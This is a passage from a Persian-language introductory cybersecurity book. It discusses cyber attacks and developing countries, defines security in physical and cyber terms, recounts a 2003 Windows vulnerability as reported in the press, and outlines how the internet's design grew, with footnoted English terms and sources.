Legal Review, vol. 1 2003, at fn 17. (Kluwer) 

از . باشـد ارزشمند سازمانها و مؤسسات چندان قابل توجه نمي       
تواند بسيار مهم باشد آنـست كـه تـأثير            ديگر مواردي كه مي   

سرقت و وقوع تخلف مالي در يك شركت تنها محصور به آن            
  .گذاردت كشور تأثير ميشركت نيست و در كل صنع

با گسترش اينترنت و افزايش چـشمگير نگرانيهـاي ناشـي از            
  :، تعداد چنين حوادثي نيز رو به افزايش است١٧حملات سايبر

ها نقطة مناسـبي بـراي انجـام حمـلات            با وجود اينكه رايانه   "
تروريستي هستند، اما اين نكته را نيز بايد درنظـر داشـت كـه              

گيرند كـه     رانه توسط افرادي صورت مي    برخي اقدامات خرابكا  
مركز فوريتهاي امنيـت    . از اين راه بدنبال كسب درآمد هستند      

 مـيلادي رقمـي برابـر بـا         ۲۰۰۱ در سال    ١٨)CERT (ايرايانه
 رخداد امنيتي اينترنتي را شناسايي كرده كـه دو برابـر          ۵۲۶۵۸

تعداد يكسال قبلتر است و نسبت به دو سال پيش از آن چهار             
  ١٩."باشد ميبرابر 

ها براي كشورهاي درحال توسعه     ها و شبكه    بحث امنيت رايانه  
تواند فواصل را از  اينترنت مي. از اهميت خاصي برخوردار است

. شماري را فـراهم كنـد       ميان بردارد و دسترسي به مطالب بي      
بــا وجــود شــبكة جهــاني وب، اينترنــت قــادر خواهــد بــود از 

كانــات، و محــصولات اطلاعــات موجــود دربــارة شــركتها، ام
كشورهاي درحال توسعه اسـتفاده كنـد و تجـارت را در آنهـا              

 ايــن، موتورهــاي جــستجو از نظــر  عــلاوه بــر. توســعه دهــد
شـوند؛ و      قائـل نمـي     جغرافيايي تمايزي ميان پايگاههاي وب    

كنندگان خدمات و كالاهاي اساسي و مواد         بدين ترتيب تأمين  
ــعه روي وب    ــال توسـ ــشورهاي درحـ ــة كـ ــار اوليـ در كنـ

يافتـه قـرار    كنندگان كالاها و خدمات كشورهاي توسعه      تأمين
 ٢١نامنـد؛  مـي " هـا  مـرگ فاصـله   " اين امر را گاهي      ٢٠.گيرندمي
  .دهد  اي كه روند جريان اطلاعات در اينترنت را نشان مي واژه

                                                                  
17  Cyber Attacks 
18  Computer Emergency Response Team 
19  Reuters/USA Today, April 16, 2003 

در حقيقت موتورهـاي جـستجو بـر اسـاس زبـان ميـان پاسـخهاي               ۲۰
ر بازار جهاني هر كـس بايـد بـه          گذارند، و لذا د   شده تفاوت مي   يافته

همچنـين موتورهـاي جـستجو      . زبان بازار هدف خود صـحبت كنـد       
ممكن است آنقدر تحمل نداشته باشند كه بخواهند منتظـر دريافـت            

در هرحـال   . پاسخ از پايگاههايي باشند كـه ارتباطـشان كنـد اسـت           
توانند پايگاه خود را در هر كجاي دنيا ميزباني         شركتهاي تجاري مي  

اي محل ميزبان خـود را برگزيننـد كـه اطلاعـات بـه               ند و بگونه  كن
بعــضي از شــركتها از پايگاههــاي . بازارهــاي هــدف نزديــك باشــد

كنند؛ به اين معنـي كـه يـك    استفاده مي) mirror sites(انعكاسي 
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ولي با اينحال همواره مخاطراتي جدي ماننـد از دسـت دادن            
شـدن اطلاعـات و     سوابق، حملات تخريب سرويس، خـراب       

از دست رفتن تمام يـا      . ساير انواع حملات خصمانه وجود دارد     
تواند يك شركت را زمينگيـر        بخشي از سوابق الكترونيكي مي    

براي كشوري كه امنيت فنـاوري اطلاعـات آن ضـعيف           . كند
است اين احتمال وجود دارد كه منـابع حيـاتي آن در معـرض              

. ن ناپـذيري وارد شـود  خطر قرار گيرند و به آنها صدمات جبرا   
عدم توجه كافي به امنيت بـراي كـشورهايي كـه بـه روابـط               

توانـد موجـب      دهنـد مـي     خارجي در صنايع خود اهميـت مـي       
اهـداف  نيل بـه    . اي گردد   بيني نشده   خسارتهاي جدي و پيش   

 به توانايي كشورهاي درحال توسعه در       ٢٢)MDG (توسعة هزاره 
ايش بودجـة آنهـا بـا       استفادة مؤثر از فناوري اطلاعـات و افـز        

 ٢٣.عضويت دائمي در سـازمان تجـارت جهـاني بـستگي دارد           
توانـد در تمـامي       توانايي كسب و تأمين اطلاعات مناسب مـي       

  . هاي اقتصادي به كشورهاي درحال توسعه كمك كند زمينه

توان در فـضاي      متأسفانه همة ظواهر خوب و بد انساني را مي        
برداري از مـضامين    نسخهاز آنجا كه    . سايبر نيز مشاهده نمود   

ديجيتـالي و ويــرايش آنهــا آســان اســت، مغالطــه و تحريــف  
. شـود   اطلاعات مثل جعل مستندات اداري و رسمي آسان مي        

آنكه اينترنت از يك محيط پژوهشي و تعاوني شـروع          به دليل   
به كار كرد و هدف آن اشتراك آسان اطلاعات بـود، سـاختار             

 و ســرقت اطلاعــات هــا آن باعــث تــسهيل حملــه بــه رايانــه
  .گردد محرمانه مي

انگيزة افرادي كه در فضاي سايبر چنين رفتاري از خود بـروز            
هايي است كه در دنياي واقعي آنها را به         دهند شبيه انگيزه  مي

محيطي  :كند، اما با يك تفاوت عمده     كارهاي مشابه وادار مي   
د ها و اينترنت بوجود آمده باعث شـده در افـرا            كه توسط رايانه  

توانند به   اين تمايل بوجود بيايد كه بخواهند ثابت كنند كه مي         

                                                                  
كننـد   نسخه از پايگاه را در يك محل متفاوت جغرافيايي ميزباني مي          

  .ات، حداقل شودتا زمان دسترسي مشتري به اطلاع
21  Cairncross, F., The Death of Distance: How 

the Communications Revolution will Change 
our Lives, Harvard Business School Press 
(1997). 

22  Millennium Development Goals 
امنيت اطلاعات و اينترنت يكي از سه موضـوع اصـلي هـستند كـه                  ۲۳

دسـامبر  (عة اطلاعاتي در كنفرانس خـود در جنـوا          اجلاس سران جام  
) ۲۰۰۵آوريـل   (روي آن كار كرد و قرار است باز هم در تونس            ) ۲۰۰۳

اين يك دليل ديگر براي اين واقعيـت اسـت كـه     . روي آن كار شود   
نقش فناوري اطلاعات و ارتباطـات در توسـعه بتـدريج بـه جايگـاه               

  .شودواقعي خود نزديكتر مي

ــد  ــستمها وارد شــوند و مــشكلاتي بوجــود بياورن ــشتر . سي بي
 ناشـي   ٢٤خرابكارهاجود در فضاي سايبر از جانب         مشكلات مو 

خواهند ثابـت كننـد       خرابكارها افرادي هستند كه مي    . شود  مي
رار داشـته باشـد     توانند از هر سد امنيتي كه سر راهشان ق ـ          مي

اگر بخواهيم چنـين رفتـاري را در دنيـاي واقعـي            . عبور كنند 
خواهـد    مدل كنيم بايد فردي مورد اشاره قرار دهـيم كـه مـي            

تواند به خانه شما وارد شود و سپس بدون دست            ثابت كند مي  
تنها موجب بـروز    اي نه چنين پديده ! زدن به چيزي خارج شود    

د، بلكه اين سـؤال را نيـز        شو  نوعي احساس عدم اطمينان مي    
آورد كه چه چيزي درحال تغيير يافتن يـا كـم شـدن               پديد مي 

تـوان بـراي جلـوگيري از         است يـا اينكـه چـه اقـداماتي مـي          
همـانطور كـه چنـين رفتـاري در         . نفوذهاي بعدي انجـام داد    

دنيــاي واقعــي قابــل تحمــل نيــست، در فــضاي ســايبر هــم 
 موجود در اين كتـاب      فنون. توان اين رفتار را تحمل كرد      نمي

به شما در حفاظـت از خودتـان در مقابـل چنـين رفتارهـايي               
  .كمك خواهد نمود

اين كتاب و هر آنچه كه در فضاي سايبر وجود دارد شما را از              
و اينترنـت و افـزايش        هاي جديدتر دربارة رايانه       كسب دانسته 

امـروزه اينترنـت    . كند  نياز نمي   سطح آگاهي و مهارتهايتان بي    
ها است    ازة ورود به دنياي شگفت انگيز اطلاعات و دانسته        درو

تواند اين اطلاعات را بـا قيمـت بـسيار نـازل در اختيـار               و مي 
تـوان اطلاعـات را بـصورت         بدين ترتيب مي  . عموم قرار دهد  

با اينحال براي دستيابي به     . اشتراك گذارد كارآمد و مؤثري به   
 ممكن است در    اين هدف لازم است امكانات و رفتارهايي كه       

در  با مفهوم هوشياري  . مقابل آن قرار داشته باشند را بشناسيم      
اكنون بايـد بيـاموزيم كـه چگونـه         . دنياي واقعي آشنا هستيم   

. رسـيد ) هوشياري سـايبر  (توان در فضاي سايبر به هوشياري         مي
اين كتاب براي كمك به شـما در انجـام ايـن مهـم تهيـه و                 

  .تدوين شده است

  امنيت چيست؟
. فهوم امنيت در دنياي واقعي براي بسياري از ما حياتي است        م

در دوران ماقبل تاريخ، امنيت عبارت بود از اصول حفـظ بقـا؛             
نظير امنيت در برابر حملة ديگران يا حيوانـات، و نيـز امنيـت              

  .تأمين غذا

                                                                  
24  Crackers 
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نيازهاي ديگر چون امنيت در مقابل حوادث طبيعي يا بيماريها          
بـا پيـشرفت    . قبل تاريخ مطرح نبـود    عموماً براي انسانهاي ما   

تمدن، محدودة امنيت فراتر رفته و ابعـاد وسـيعتري ماننـد در             
خطـر را در بـر      اختيار داشتن مكاني براي آسايش و زندگي بي       

گرفت و امروزه مفهوم اموال شخصي نيز بـه تعريـف امنيـت             
  . اضافه شده است

خـاطره  دهيم با م    بيشتر آنچه كه ما در دنياي واقعي انجام مي        
همراه است؛ هرچند بسياري از فعاليتهايمان مخاطرة كمي در         

رويـم  مثلاً وقتي به همراه شخصي ناآشنا به سفر مي        . پي دارد 
شـويم ايـن حقيقـت را         و يا به شهر يا كشوري ناآشنا وارد مي        

. مـان تهديـداتي وجـود دارد      دانيم كه براي امنيت جـسمي     مي
 خواهند شد كـه مـا       تهديدات موجود در اطراف ما وقتي جدي      

نشده قرار بگيريم و با فـردي روبـرو شـويم           در مكاني حفاظت  
اگر به انـدازة كـافي     . كه بتواند از موقعيت ما سوء استفاده كند       

به مخاطرات اطراف خـود توجـه كنـيم موفـق خـواهيم شـد               
اي بيابيم؛ مثلاً همراه كـسي        مكاني امن پيدا كنيم يا راه چاره      

امني هدايت كنـد، يـا يـك تاكـسي          شويم كه ما را به مكان       
  . بگيريم

بعضي از كارها مخاطرات روانشناختي يا مالي به همراه دارنـد           
در (كنـيم     گذاري مي   وقتي سرمايه . ولي مخاطرة جسمي ندارند   

هريك از اشكال خريد زمين، سهام يا حتي فعاليت در تجارت و يا كـار در         
.  به مـا بـازگردد  انتظار داريم كه اين سرمايه هرچه زودتر     ) بازار

گـذاريها ديـر يـا زود         دانيم بعـضي از سـرمايه       همانطور كه مي  
گـذاريها اينگونـه       گشت؛ حال آنكه بعضي از سرمايه       بازخواهند

مثلاً وقتي  . شوند زيان منجر مي    نيستند و بعضي از آنها هم به      
كنيم اميـدواريم كـه ايـن         با شخص جديدي ارتباط برقرار مي     

اي داشته باشد، هرچنـد خطـر ايـن         آوردهرابطة جديد برايمان    
مسئله كه ممكن اسـت ايـن رابطـه از فايـدة لازم برخـوردار               

  .پذيريم نباشد را نيز مي

ها دستيابي به سطحي از امنيت كه انتظار آنرا           در بعضي زمينه  
مثلاً هميـشه مـايليم عمـري طـولاني و       . داريم ممكن نيست  

عـدل آمـاري    ولي آنچـه كـه در م       جسمي سالم داشته باشيم؛   
دهـد كـه ايـن مـسئله بـراي            طول عمر وجود دارد نشان مـي      

بعضي از مـا در سـنين پـائين         . كند  بسياري از افراد صدق نمي    
ميريم، تعدادي در طول حيات با بيماريهاي مختلف دسـت            مي

مـانيم و     كنيم، و برخي تا ساليان دراز زنده مي         و پنجه نرم مي   
دم توانـايي خـود در      ع ـ. گذرانيمعمري به سلامت روزگار مي    

كنـيم تـا مـا را در برابـر            تعيين سرنوشت را با بيمه جبران مي      
  . اثرات منفي مالي، حوادث و بيماريها حفاظت كند

: دهداين مقدمه حقيقتي را دربارة امنيت پيش روي ما قرار مي    
امنيت مطلق چه در زنـدگي واقعـي و چـه در فـضاي سـايبر                

ال امنيتي كه بـه انـدازة       ولي با اينح   غيرممكن و محال است؛   
ــي     ــرايط محيط ــامي ش ــاً در تم ــد تقريب ــافي مناســب باش ك

  .باشديافتني مي دست

راههاي گوناگوني براي در اختيار گرفتن مكانيزمهاي تقـويتيِ         
ما از مكانيزمهـاي فيزيكـي      . افزايش و حفظ امنيت وجود دارد     

ساختمانهاي بلند و : براي تضمين امنيت خود برخوردار هستيم 
حكم و درهاي محكـم و نفوذناپـذير بـه همـراه قفلهـا و               مست

توانيم به مرزهاي فيزيكي ديگر مثل        ما مي . شمار  كليدهاي بي 
همچنـين  . ديوارها و ديگـر موانـع جداسـاز نيـز تكيـه كنـيم             

رود   توانيم روي مناطقي كه از طريق آنها احتمال نفوذ مـي            مي
توان با     مي نهايتاً اينكه درصورت لزوم   . نور كافي متمركز كنيم   

ــند از     ــق باش ــه موف ــوذي اولي ــدامات نف ــه اق ــرض ك ــن ف اي
سيستمهاي هشداردهنده و محافظهاي قويتر براي شناسايي و     

مهمتـر  . اند استفاده نمود  مقابله با كسانيكه موفق به نفوذ شده      
توانيم از پشتيباني قوانين عمومي و جزايي و          از همه اينكه مي   

  .ك نماييمنيروهاي انتظامي نيز درخواست كم

ما معمولاً از چندين روش مختلف براي افزايش امنيـت خـود            
كنيم تا درصورتيكه يكي از تدابير مفيد واقع نـشد            استفاده مي 

اگر يكي از كليدها به سرقت رفت و        . ديگري خلاء آنرا پر كند    
توان   رفت، مي قفلِ در از آن پس حفاظ مطمئني به شمار نمي         

. لام خطـر نفـوذ اسـتفاده كـرد        از علائم هشداردهنده براي اع    
كننده به ارزش چيزي كه مـورد         البته تعداد مرزها و عوامل سد     

اي كـه در زمينـة        گيرد و انتظـارات معقولانـه       حفاظت قرار مي  
  .گرددحمله به آن وجود دارد باز مي

تمامي اين تدابير و روشـهاي حفـاظتي در فـضاي سـايبر بـه               
 ـ       شكلي ديگر مطرح مي    دازه كـه بـا تـدابير       شوند و ما به آن ان

امنيت فيزيكي آشنا هستيم با ماهيت آنهـا در فـضاي سـايبر             
آشنا نيستيم، اما لازم است كه آنها را درك كنيم و درصـورت             
نياز به تأمين امنيت در فـضاي سـايبر ، روش كـاربرد آنهـا را        

هم در دنياي واقعي و و هم در فضاي سـايبر نيازمنـد             . بدانيم
هاي خود در برابر حملات ديگران و           هحفاظت و دفاع از سرماي    

ــت  ــورت موفقي ــازپس  درص ــلات، ب ــودن حم ــز ب ــري  آمي گي
  .باشيم هاي از دست رفته مي سرمايه
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هـا    نامـه   تعاريف و توضيحاتي كه در فرهنگهـاي لغـات و واژه          
براي واژة امنيت وجود دارد به مـواردي اشـاره دارنـد كـه بـا                

ي از اطمينـان،    كيفيت يـا حـالت    "سلامتي مرتبط هستند، نظير     
بـا اينحـال    . "آزادي از خطر و رهـايي از تـرس يـا اضـطراب            

توانند براي توصيف دقيق امنيـت        هيچيك از اين تعاريف نمي    
  .در فضاي سايبر بكار روند

هنگـامي در   : كنـيم   در عوض ما تعريف زيـر را پيـشنهاد مـي          
فضاي سايبر ايمن هستيد كه دسترسي بـه منـابع اطلاعـاتي            

خودتان باشد، يعني هيچ كس بدون كـسب        شما تحت كنترل    
اجازه از جانب شما قادر به دسترسي به اين منـابع اطلاعـاتي             

اي، اي، شـبكه  هـا و منـابع رايانـه      اين منابع شامل داده   . نباشد
طبيعتاً ممكن است   . باشند  تراكنشي، پردازشي، و اطلاعاتي مي    

رائـه  برخي از اين منابع از جانب ديگران و براي استفادة شما ا           
 در يك رايانة اشـتراكي يـا        ٢٥حساب كاربري شده باشند، مثل    

 كنندة خدمات اينترنتي  ارائهدسترسي به اينترنت از طريق يك       
)ISP(از آنجا كه اين موارد هيچگاه كـاملاً ايمـن نيـستند،            . ٢٦

تنها تا وقتيكه دستورالعملهاي فروشندة خدمات براي اسـتفادة         
وانيد بـر دسترسـي مـداوم و        تصحيح از آنها را دنبال كنيد مي      

  .استفادة مناسب از خدمات اشراف داشته باشيد

. شـود مثالي در مورد ماهيت امنيت سايبر در اينجـا ارائـه مـي            
) تا پيش از انتشار اين كتاب     (براي اين منظور به آخرين نقصي كه        

 يافته شـده  Microsoft Windowsعامل  در هستة سيستم
  :پردازيممي

ــافت تقري" ــسخه  مايكروس ــامي ن ــاً در تم ــود از   ب ــاي موج ه
 بـسيار   ٢٧پذيري  آسيب خود يك    Windowsعاملهاي    سيستم

توانـد از كـار افتـادن     مهم را كشف كرد كه اولين تأثير آن مي   
.  باشــدMicrosoft Windows Server 2003كامــل 

تواند نفوذگرهـا را      پذيري مي   مايكروسافت گفته كه اين آسيب    
 ــ ــق اينترن ــه از طري ــد ك ــادر كن ــستمق ــرل سي ــل  ت كنت عام

Windowsــه ــه،    رايان ــان خــود را بدســت گرفت هــاي قرباني
اطلاعات آنها را بـدزدند، فايلها را حذف كننـد و يـا از طريـق          

اين شركت به مـشتريان خـود       . پست الكترونيكي انتقال دهند   
 رايگـان بـراي     ٢٨وصــله اطمينـان داد كـه بلافاصــله يـك         

                                                                  
25  User Account 
26  Internet Service Provider 
27  Vulnerability 
28  Patch 

 وب مايكروسـافت    برطرف ساختن اين اشـكال روي پايــگاه       
  ...."قراردهد 

اين اشكال كه توسط پژوهشگراني از كـشور لهـستان كـشف         
 در ميان كاربران خـانگي را       Windowsهاي رايج     شد نسخه 

ــرار داد  ــأثير ق ــز تحــت ت ــدترين  " :ني ــي از ب ــورد يك ــن م اي
، " است كه تا كنون وجود داشـته       Windowsپذيريهاي    آسيب

مؤسـسة امنيـت    يـي    مـدير اجرا   ٢٩مـارك مـايفرت   اين گفتـة    
 در ايالت   ٣١جو  آليسو ويه  واقع در    ٣٠چشم الكترونيكي  ديجيتال

پــذيري  كاليفرنياســت كــه محققــان آن نظيــر همــين آســيب
. انـد   كشف كـرده Windowsخطرناك را در سه نسخة قبلي    
تـا زمانيكـه    : "ديده عنوان كرد  مايفرت دربارة شركتهاي آسيب   

 سيستمهايشان مثـل    افزاري را نصب نكنند     آنها اين وصلة نرم   
تواند براحتـي         يك تكه پنير سوئيسي خواهد بود و هركس مي        

  ."هاي آنها وارد شود دهنده به سرويس

  اما همـان زمـان چهـار پژوهـشگر لهـستاني كـه بـا عنـوان                 
"Last Stage of Delirium Research Group" 

انـد كـه راهـي بـراي عبـور از      شـدند پيـدا كـرده      شناخته مـي  
دانند و اين زمـاني بـود كـه    د مايكروسافت مي  هاي جدي   وصله

هرچنـد  . گذشـت هـا مـي     تنها سه مـاه از انتـشار ايـن وصـله          
ــود    ــات وجـ ــراي اثبـ ــزاري بـ ــستاني ابـ ــشگران لهـ پژوهـ

تر طراحي كرده و بـا اسـتفاده از آن بـه              پذيريهاي جدي   آسيب
چند رايانه نفوذ كردند، ولي متعهد شدند كه هيچ اثري از ايـن            

بعـضي از  . جديد در اينترنـت بجـاي نگذارنـد       پذيريهاي  آسيب
متخصصان انتظار داشتند كه نفوذگران طي چند ماه آينـده از           

حتـي  . ها اسـتفاده كننـد      اين اشكال جديد براي نفوذ به رايانه      
بدون اعلام اين مسئله از سـوي آن پژوهـشگران، نفـوذگران            

  ٣٢."هاي مايكروسافت هستندنوعاً قادر به عبور از وصله

 كـاربران و كارمنـدان درون يـك سـازمان، مـا هـيچ               همانند
.  نـداريم  Windowsهـايي نظيـر     كنترلي روي مـتن برنامـه     

افزار بسيار مهـم اسـت كـه          دانيم كه براي فروشندگان نرم     مي
باشد، امـا زمـاني       هايشان ايمن و عاري از هرگونه خطا          برنامه

 كنند با اتخاذ تدابير و تـصميمات        كه چنين مشكلاتي بروز مي    
هاي اصلاحي   توانيم نسبت به تهيه و نصب نسخه        مناسب مي 

                                                                  
29  Marc Maiffret 
30   eEye Digital Security Inc 
31  Aliso Viejo 
32  Ted Bridis, Associated Press July 16.2003. 
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اي است كه در    اين تنها روش مقابله    فروشندگان اقدام كنيم و   
  .اختيار داريم

دانيم كه چطـور بايـد از منـابع اطلاعـاتي      در دنياي واقعي مي 
دانــيم كــه بعــضي از  خــود حفاظــت نمــاييم و همچنــين مــي

هداري كـرد و برخـي از       اطلاعات را بايد بصورت محرمانه نگ     
بـراي ايـن منظـور      . توان بصورت آزادانه انتقال داد      آنها را مي  

كنيم و حتـي   درهاي دفاتر و كمدهاي حاوي فايلها را قفل مي  
هايي از اطلاعات مهـم را خـارج از محـل           ممكن است نسخه  

سوزي و يا سـاير       اداره نگهداريم تا در مواقعي چون بروز آتش       
بعضي اطلاعات را   .  حفاظت كرده باشيم   بلاياي طبيعي از آنها   

توان به تعداد محدودي از افراد انتقال داد و بـسته بـه        تنها مي 
توان به افـراد مختلـف در سـطوح           درجة اهميت اطلاعات مي   

  .متفاوتي اعتماد كرد

از نظــر مفهــومي ميــان ماهيــت تهديــدات فــضاي ســايبر و 
 تي نيـست، تهديداتي كه در دنياي واقعي وجود دارند هيچ تفاو    

بلكه تفاوت ايـن دو مقولـه برخاسـته از خـصوصيات فـضاي              
شـود  الكترونيكي و تهديدات اين حوزه اسـت كـه باعـث مـي       

بتوان از بروز آنها جلوگيري كرد و آنها را خنثي، يا شناسايي و             
  .رفع نمود

 با مسئله امنيـت در      ٣٤محرمانگي و   ٣٣حريم خصوصي عناوين  
رونـد تنهـا     بشمار مي " يخصوص"اطلاعاتي كه   . ارتباط هستند 

توانند واقعاً خصوصي بمانند كه بصورت ايمن ذخيره         زماني مي 
اي رفتـار   براي اين منظور در دنياي واقعي بگونـه       . شده باشند 

ايـن  . كنيم كه گويي چنين اطلاعاتي وجود خارجي ندارنـد        مي
بـه همـين ترتيـب      . نامنـد    مـي  ٣٥امنيـت گمنـامي   سياست را   

اشتراك گـذارده شـوند      محرمانه به  اطلاعاتي كه بايد بصورت   
اند بصورت ايمن     بايد براي كسانيكه آنها را به اشتراك گذاشته       

اگر اين افراد هميشه در يك مكان نيستند هنگام         . باقي بمانند 
انتقال اين اطلاعات بايد سياستهاي امنيتي كافي در مورد آنها          

  .اعمال شود

يـز وجـود دارد،     موقعيتهايي نظير اين مسئله در فضاي سايبر ن       
ولي با فرض طبيعـت خـاص فـضاي سـايبر و ارتبـاط ميـان                

ــه ــا اســتفاده از   رايان ــامي ي هــاي موجــود در آن، امنيــت گمن
نمايـد و بايـد از آن اجتنـاب           سازي سياستي ضعيف مـي      پنهان

                                                                  
33 Privacy 
34 Confidentiality 
35  Security By Obscurity 

اين كتاب در سطوح مختلف جزئياتي در مورد مقياسهاي         . كرد
  .يدنما امنيتي مورد نياز فضاي سايبر ارائه مي

  پيدايش و رشد اينترنت
ايِ اينترنت امـروز در ابتـدا بـا هـدف             اي و شبكه  محيط رايانه 

 ARPANETزمانيكـه   . پژوهش و آموزش بوجود آمـده بـود       
بار ايجاد شد، هدف اصلي آن اشتراك براي اولين ) اينترنت اوليه (

منابع گروههاي متعدد پژوهشگران در موقعيتهاي جغرافيـايي        
روهها اهداف يكـسان داشـتند و بـا هـدف           اين گ . مختلف بود 

كردند؛ دسترسـي بـه     ها كار مي  گذاشتن منابع و داده   اشتراك به
شد و لذا در آن زمان        شبكه محدود به اعضاي اين گروهها مي      

. نگراني چنداني در مورد تأمين امنيت اطلاعات وجود نداشـت         
طراحي شبكه جهاني وب نيز بر همين اساس شكل گرفت تـا   

ر قوي براي كشف منابع اطلاعاتي و قـراردادن آن در           يك ابزا 
اختيار افراد ديگر باشد؛ بدون استفاده از مكانيزمي براي كسب         

  .گذاريهاي مالي مجوز يا تسهيل سرمايه

گـذاري اطلاعـات ميـان پژوهـشگران و         اشـتراك فرهنگ بـه  
 مطرح شـد و     ARPANET توسط   ۹۰دانشگاهيان طي دهة    

بـر اسـاس ايـن      . شـود    ديـده مـي    هـايي از آن   هنوز هم نشانه  
فرهنگ، اطلاعات در شـبكة جهـاني وب تـا حـد ممكـن در               
دسترس و رايگان است و امكان اسـتفاده از آن بـراي صـدها              

ايـن مـسئله    . ميليون نفر از مردم در سرتاسر جهان وجود دارد        
باشـد كـه چـرا      بسيار مهم است و پاسخي به اين سـؤال مـي          

جنبـة  . ز رشـد رسـيده اسـت   اينترنت تا امروز به ايـن سـطح ا       
اخلاقــي ايــن فرهنــگ در گفتگوهــاي عاميانــة مردمــي كــه 

كننـد    اينترنت را منبعـي بـسيار خـوب و معتبـر توصـيف مـي              
اي اينترنت و اثرات كـار        شود؛ چراكه قدرت رسانه   مشاهده مي 
گاهي اوقات در مـورد ماهيـت اينترنـت گفتـه           . اند  با آنرا ديده  

  ."يل به آزاد بودن دارنداطلاعات در آن تما"شود كه  مي

پذيريهاي حال حاضر اينترنت آن     يك توجيه ديگر براي آسيب    
است كه نسل اول اينترنت بر اساس اعتماد متقابل ايجاد شده      
بود و كاربران آشكارا براي كـار بـا يكـديگر بـه هـم اعتمـاد                 

با گسترش وسيع اينترنت و بـه عـضويت درآمـدن           . كردند  مي
و اهداف مختلف در آن، اعتمـاد متقابـل         افراد بيشتر با علايق     

درحـال حاضـر يكـي از مباحـث         . معناي خود را از دسـت داد      
عمده در اينترنت توسعة مفهـوم نـوين اعتمـاد متقابـل اسـت         
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سـازي  گرايانه، و بسادگي قابـل پيـاده        اي كه مؤثر، واقع   بگونه
  .باشد

اينترنت با سيستمهاي ارتباطي قبـل از خـود چنـدين تفـاوت             
بعـضي  . ارد كه هر كدام از اهميت خاصي برخوردارند     اساسي د 

شـبكة تلفـن عمـومي      از اين تفاوتها هنگاميكه اينترنت را بـا         
 كـه روزانـه در سراسـر دنيـا اسـتفاده            ٣٦(PSTN) سوئيچ شده 

  .شوندشود مقايسه كنيم بهتر درك مي مي

كنـد كـه       اينترنت براساس مدلي از انتقال اطلاعات كـار مـي         
Packet Switchingهر زمـان كـه اطلاعـات از    .  نام دارد
كند بـه چنـدين بـستة داده شكـسته            طريق اينترنت عبور مي   

ها رمزگـذاري شـده و هـر كـدام بـصورت              اين بسته . شود  مي
مستقل در شبكه ارسال و پس از دريافـت در مقـصد مجـدداً              

ايـن  ). تواند متفاوت باشد    مسير ارسال آنها مي   (شوند    بندي مي   سرهم
 كـه  - Circuit Switchingر نقطـة مقابـل   روش انتقـال د 

PSTN    در ايـن روش بـه      .  قرار دارد  -كند     از آن استفاده مي
شود و لـذا   هر مكالمة تلفني يك مدار واحد اختصاص داده مي   

  .در آن حجم صداي انتقال يافته در هر لحظه مهم نيست

دانـد  اي نادان است، چراكه تمام آنچه كـه مـي         اينترنت رسانه 
ه بايد يك بسته را از يك مبدأ متصل به شبكه به            اين است ك  

 ٣٧خدمات اينترنتي تمامي  . يك مقصد متصل به شبكه برساند     
رسند كه متصل به شبكه       هايي مي   ها به رايانه    در انتها و در لبه    

" هوشـمندي " اساس كار شـبكه  PSTNدر عوض در   . هستند
است و ابـزار كـاربر در نقـاط انتهـايي كـاربرد انـدكي بـراي                 

  .دادن دارندكردن يا گوشبتصح

اينترنت جهاني است و بسياري از كشورها را بـه هـم متـصل              
كند و اطلاعات از طريق آن فراتر از مرزهـاي جغرافيـايي              مي

اين ويژگـي بـارزترين و      . كنندبه افراد مختلف جريان پيدا مي     
جالبترين خصوصيت آن است كـه البتـه ارتبـاط چنـداني بـه              

 نيز جهاني اسـت، امـا روشـهاي         PSTNشبكة  . امنيت ندارد 
دسترسي تلفني بـه كـشورهاي مختلـف بـه آسـاني اينترنـت              

داند كه بـا يـك كـشور خـارجي            نيست و مثلاً كاربر تلفن مي     
تماس گرفته است؛ اما وقتيكه به يـك پايگـاه وب دسترسـي             

دهنـدة آن در      كند لزومـي نـدارد كـه بدانـد سـرويس            پيدا مي 
  . كجاي دنيا قرار دارد

                                                                  
36  Public Switched Telephone Network 
37  Internet Services 

هـا   اي از شـبكه   توان آنرا بعنوان شـبكه      رنت باز است و مي    اينت
اي از پروتكـل    اي كـه بـه خـانواده      درنظر گرفت كه هر شبكه    

TCP/IPتواند به آن متـصل شـود و         تعلق داشته باشد مي    ٣٨
استانداردهايي كه مجموعة ايـن     . بخشي از آن محسوب گردد    

 و  شـوند   ارائه مـي   IETF٣٩كنند توسط     پروتكلها را تعريف مي   
سـالاري   معمولاً بدنة فني غيررسمي آنها بـر اسـاس شايـسته         

  .گرددسازي استانداردهاي توافقي تدوين ميفني و پياده

اينترنــت غيرمتمركــز اســت و در آن هــيچ سيــستم مركــزي 
ارتباطي وجود ندارد و همينكه شـما از پروتكلهـاي اصـلي آن      

خـود را    يا شـبكه  توانيد رايانه      پيروي كنيد مي   TCP/IPنظير  
  .به اينترنت متصل نماييد

جـا رايـج اسـت و موانـع ورود بـه آن انـدك               اينترنت در همه  
هـا را بـا آن        توانيـد داده    سرعتي كه مـي    (٤٠پهناي باند مقدار  . هستند

نيز به ظرفيت حمـل سـيمهاي مـسي، اتـصالات     ) انتقال دهيـد  
اي واقع در مـسير انتقـال بـستگي           فيبري يا كانالهاي ماهواره   

ر شاهراه آن طيفهاي الكترومغناطيسي كميـاب وجـود         د. دارد
 ماننـد   -هرجا كـه از طيـف راديـويي اسـتفاده گـردد             . ندارند
 كه معمـولاً بـا عنـوان        ٤١)WLANs (سيم  هاي محلي بي    شبكه

Wi-Fi     قوانين و پروتكلهاي مرتبط     -شود     از آنها نام برده مي 
آورند كـه دسترسـي را سـاده        يك محيط اشتراكي را پديد مي     

  . كنديم

اينترنت براي كاربران متوسط واقع در بخـشهايي از دنيـا كـه             
مكالمات تلفني محلي در آنها رايگان است نـسبتاً ارزان تمـام            

قيمت دسترسي به اينترنت از طريق خطوط تلفـن و           . شودمي
نت و ديگر نقاط دسترسي عمومي در اين كشورها بسيار            كافي

نـت بـراي درصـد      اندك است و درنتيجـه دسترسـي بـه اينتر         
  .باشدتر ميزيادي از مردم جهان بسيار ساده

اينترنت مانع موجود ميان مؤلف و ناشر را از بين بـرده اسـت؛              
توانيد يك ناشـر باشـيد و روي رايانـة خـود خـدمات                شما مي 
شـما   اي ايجاد كنيد و براي اينكار تنها كافيـست رايانـة       شبكه

توانيـد دربـارة      همچنـين مـي   . همواره به اينترنت وصل باشـد     
گيـري كنيـد و هـر كـس       دهيـد تـصميم   خدماتي كه ارائه مي   

ديگري نيز درصورت اتـصال بـه اينترنـت و كـسب اجـازه از               

                                                                  
38  Transmission Control Protocol/Internet 

Protocol 
39 Internet Engineering Task Force 
40  Bandwidth 
41  Wireless Local Area Networks 
